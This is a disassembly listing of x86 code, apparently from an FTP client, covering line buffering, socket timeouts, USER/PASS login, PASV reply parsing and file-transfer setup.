loc_42CCA0: ; CODE XREF: sub_42CC50+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
call near ptr 77C46170h
nop
add esp, 10h
test eax, eax
jz short loc_42CCB9
mov edi, eax
sub edi, ebp
loc_42CCB9: ; CODE XREF: sub_42CC50+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_42CD6A
loc_42CCE3: ; CODE XREF: sub_42CC50+47j
cmp ebx, 1
jz loc_42CDBD
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_42CD0B
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_42CD0B: ; CODE XREF: sub_42CC50+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_42CDD0
push esi
call sub_42CE80
add esp, 4
test eax, eax
jz loc_42CE02
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_436EFA
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz loc_42CDEC
test eax, eax
jnz short loc_42CD4F
mov [esp+18h+var_4], 1
loc_42CD4F: ; CODE XREF: sub_42CC50+F5j
mov edi, [esi+10h]
mov edx, [esi+0Ch]
mov ecx, [esi]
sub edi, eax
add edx, eax
add ecx, eax
mov [esi+10h], edi
mov [esi+0Ch], edx
mov [esi], ecx
jmp loc_42CC92
; ---------------------------------------------------------------------------
loc_42CD6A: ; CODE XREF: sub_42CC50+8Dj
sub ebp, 2
mov esi, offset asc_445220 ; "\r\n"
mov eax, ebp
loc_42CD74: ; CODE XREF: sub_42CC50+146j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42CD9C
test cl, cl
jz short loc_42CD98
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42CD9C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42CD74
loc_42CD98: ; CODE XREF: sub_42CC50+130j
xor eax, eax
jmp short loc_42CDA1
; ---------------------------------------------------------------------------
loc_42CD9C: ; CODE XREF: sub_42CC50+12Cj
; sub_42CC50+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42CDA1: ; CODE XREF: sub_42CC50+14Aj
test eax, eax
jnz short loc_42CE02
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDBD: ; CODE XREF: sub_42CC50+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDD0: ; CODE XREF: sub_42CC50+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_42CE02
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CDEC: ; CODE XREF: sub_42CC50+EDj
push offset aRead ; "read"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_42CE02: ; CODE XREF: sub_42CC50+D2j
; sub_42CC50+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_42CC50 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CE80 proc near ; CODE XREF: sub_42CC50+C8p
; sub_42DC70:loc_42DC9Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_42CF63
mov ecx, [esi+30h]
test ecx, ecx
jz loc_42CF63
cmp eax, 2
jnz short loc_42CEB5
lea ebp, [esp+118h+var_104]
jmp short loc_42CEB9
; ---------------------------------------------------------------------------
loc_42CEB5: ; CODE XREF: sub_42CE80+2Dj
lea ebx, [esp+118h+var_104]
loc_42CEB9: ; CODE XREF: sub_42CE80+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_42CEC0: ; CODE XREF: sub_42CE80+98j
cmp eax, 40h
jnb short loc_42CED5
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_42CED5: ; CODE XREF: sub_42CE80+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_436F12
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz short loc_42CF1A
test eax, eax
jg short loc_42CF51
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_42CF56
mov eax, [esp+11Ch+var_104]
jmp short loc_42CEC0
; ---------------------------------------------------------------------------
loc_42CF1A: ; CODE XREF: sub_42CE80+79j
push 100h
xor edi, edi
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
nop
call near ptr 77C371FAh
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
nop
call near ptr 77C47A90h
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42CF51: ; CODE XREF: sub_42CE80+7Dj
mov edi, 1
loc_42CF56: ; CODE XREF: sub_42CE80+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42CF63: ; CODE XREF: sub_42CE80+19j
; sub_42CE80+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_42CE80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42CFC0: ; CODE XREF: ___:00401410j
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42D06F ; default
jmp off_42D074[eax*4] ; switch jump
loc_42CFD7: ; DATA XREF: ___:off_42D074o
mov eax, [esp+8] ; jumptable 0042CFD0 case 0
cmp eax, 1
jz short loc_42CFE9
cmp eax, 2
jnz loc_42D06F ; default
loc_42CFE9: ; CODE XREF: ___:0042CFDEj
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42CFF8: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D00B: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
push esi ; jumptable 0042CFD0 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42D04C: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42D05F: ; CODE XREF: ___:0042CFD0j
; DATA XREF: ___:off_42D074o
mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42D06F: ; CODE XREF: ___:0042CFCAj
; ___:0042CFE3j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r
dd offset loc_42CFF8 ; jump table for switch statement
dd offset loc_42D00B
dd offset loc_42D04C
dd offset loc_42D05F
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D0D0 proc near ; CODE XREF: sub_402243j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42D161
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42D161
mov edi, dword_50FA60
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jnz short loc_42D13D
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_42D1A0
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42D161: ; CODE XREF: sub_42D0D0+1Bj
; sub_42D0D0+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_42D0D0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p
; sub_42D0D0+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_42D1C3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D1C3: ; CODE XREF: sub_42D1A0+15j
mov eax, dword_50E3CC
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
jle short loc_42D1EC
mov eax, dword_50FA84
push esi
add eax, 40h
push offset aS_0 ; "%s\n"
push eax
nop
call near ptr 77C40E13h
add esp, 0Ch
loc_42D1EC: ; CODE XREF: sub_42D1A0+32j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_42D20C
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D20C: ; CODE XREF: sub_42D1A0+60j
push esi
lea ecx, [esp+110h+var_100]
push offset dword_443CD4
push ecx
nop
call near ptr 77C3F931h
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_436F00
sub_42D1A0 endp
; ---------------------------------------------------------------------------
db 85h
; ---------------------------------------------------------------------------
sar byte ptr [edi+1Ah], 68h
lodsb
push esp
inc esp
add al, ch
movsd
wait
xor byte ptr [edi-70h], 83h
les eax, [ebx+esi]
rcr byte ptr [edi+5Eh], 5Bh
add esp, 100h
retn
; ---------------------------------------------------------------------------
mov ecx, [esp+114h]
push ebx
push ecx
call sub_42CB10
add esp, 8
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D2C0 proc near ; CODE XREF: sub_401F55j
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_42D30C
cmp edi, 4
jz short loc_42D2E6
cmp edi, 3
jnz short loc_42D30C
loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
call near ptr 77C3F931h
nop
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj
; sub_42D2C0+24j
mov ecx, [esp+110h+arg_8]
mov ebp, dword_50FA60
push ecx
lea edx, [esp+114h+var_100]
push offset dword_4454F4
push edx
call ebp
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_42D1A0
add esp, 18h
test eax, eax
jz loc_42D4CE
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42D4BF ; default
jmp off_42D4DC[eax*4] ; switch jump
loc_42D358: ; DATA XREF: ___:off_42D4DCo
mov ecx, dword_4454EC ; jumptable 0042D351 case 1
mov dl, byte_4454F0
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D373: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov eax, dword_4454E4 ; jumptable 0042D351 case 2
mov cl, byte_4454E8
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D38D: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov edx, dword_4454DC ; jumptable 0042D351 case 3
mov al, byte_4454E0
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_42D3C0
; ---------------------------------------------------------------------------
loc_42D3A7: ; CODE XREF: sub_42D2C0+91j
; DATA XREF: ___:off_42D4DCo
mov ecx, dword_4454D4 ; jumptable 0042D351 case 4
mov dl, byte_4454D8
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j
; sub_42D2C0+CBj ...
test esi, esi
jz short loc_42D413
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42D4CE
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_42D413: ; CODE XREF: sub_42D2C0+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_42D580
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42D4CE
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_42D1A0
add esp, 0Ch
test eax, eax
jnz short loc_42D468
mov eax, [esi]
push eax
call sub_401BDB
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D468: ; CODE XREF: sub_42D2C0+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42D4AF
mov eax, [esi]
push ebx
push eax
call sub_42DA60
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_42D4AF
mov ecx, [esi]
push ecx
call sub_401BDB
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j
; sub_42D2C0+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp
add esp, 0Ch
loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj
; sub_42D2C0+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_42D2C0 endp
; ---------------------------------------------------------------------------
align 4
off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r
dd offset loc_42D373 ; jump table for switch statement
dd offset loc_42D38D
dd offset loc_42D3A7
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_42D8A4
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_42D5E2
cmp eax, 2
jz short loc_42D5E2
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D5E2: ; CODE XREF: sub_42D580+3Aj
; sub_42D580+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_42D614
cmp eax, 49h
jz short loc_42D614
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
call near ptr 77C3F931h
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42D614: ; CODE XREF: sub_42D580+6Cj
; sub_42D580+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_42D6F9
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_42D1A0
add esp, 0Ch
test eax, eax
jz loc_42D8A4
lea ecx, [ebx+44h]
push 28h
push ecx
nop
call near ptr 77C47660h
add esp, 8
cmp eax, ebp
jz loc_42D8A4
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
nop
call near ptr 77C41B72h
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
push 6
push esi
push 2
call sub_436F3C
; ---------------------------------------------------------------------------
db 8Bh
dd 0FFFF83F8h, 40684D75h, 90004454h, 809709E8h, 4C48377h
dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42D6F9: ; CODE XREF: sub_42D580+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_436F2A
; ---------------------------------------------------------------------------
dd 0BD7DC085h, 44556068h, 0D7E89000h, 83778096h, 0C03304C4h
dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h
dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44543068h
dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h
dd 570000FFh, 981FE8h, 0FFF88300h, 30680A75h, 0E9004454h
dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
dd 0EC850FFFh, 68000000h, 445230h, 0FCE9h, 24548D00h, 52106A10h
dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44555868h
dd 5610EB00h, 9760E857h, 0C0850000h, 5068217Dh, 0E8004455h
dd 77809626h, 4C48390h, 9730E857h, 5E5F0000h, 5BC0335Dh
dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h
dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h
dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h
dd 51500000h, 5C24548Dh, 44553468h, 0E8905200h, 778120DDh
dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h
dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
dd 144h, 0E83DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 44542868h
dd 57E89000h, 83778095h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------
loc_42D8A4: ; CODE XREF: sub_42D580+2Bj
; sub_42D580+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
sub_42D580 endp
; ---------------------------------------------------------------------------
dw 0BC83h
dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h
dd 75144689h, 5428682Ch, 0E8900044h, 77809516h, 5704C483h
dd 9621E8h, 0E8905600h, 777FE92Fh, 8304C483h, 5E5FFFC8h
dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh
dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h
dd 40h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_42DAA2
mov ecx, eax
loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_436F12
sub_42DA60 endp
; ---------------------------------------------------------------------------
db 83h, 0F8h, 0FFh
dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh
dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455C0BEh, 0A4A5F300h
dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h
dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh
dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h
dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch
dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h
dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h
dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42DC70 proc near ; CODE XREF: sub_402248j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_42DC81
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DC81: ; CODE XREF: sub_42DC70+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42DC9D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42CC50
add esp, 0Ch
jmp short loc_42DCC4
; ---------------------------------------------------------------------------
loc_42DC9D: ; CODE XREF: sub_42DC70+17j
call sub_42CE80
add esp, 4
cmp eax, 1
jz short loc_42DCAF
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCAF: ; CODE XREF: sub_42DC70+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_436EFA
; ---------------------------------------------------------------------------
loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42DCD0
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DCD0: ; CODE XREF: sub_42DC70+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_42DD0F
mov eax, [esi+3Ch]
test eax, eax
jz short loc_42DD0F
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_42DD0F
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_42DD08
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD08: ; CODE XREF: sub_42DC70+93j
mov dword ptr [esi+40h], 0
loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj
; sub_42DC70+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_42DC70 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DD50 proc near ; CODE XREF: sub_4021F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_42DD61
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42DD61: ; CODE XREF: sub_42DD50+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42DD7D
mov eax, [esp+0Ch+arg_4]
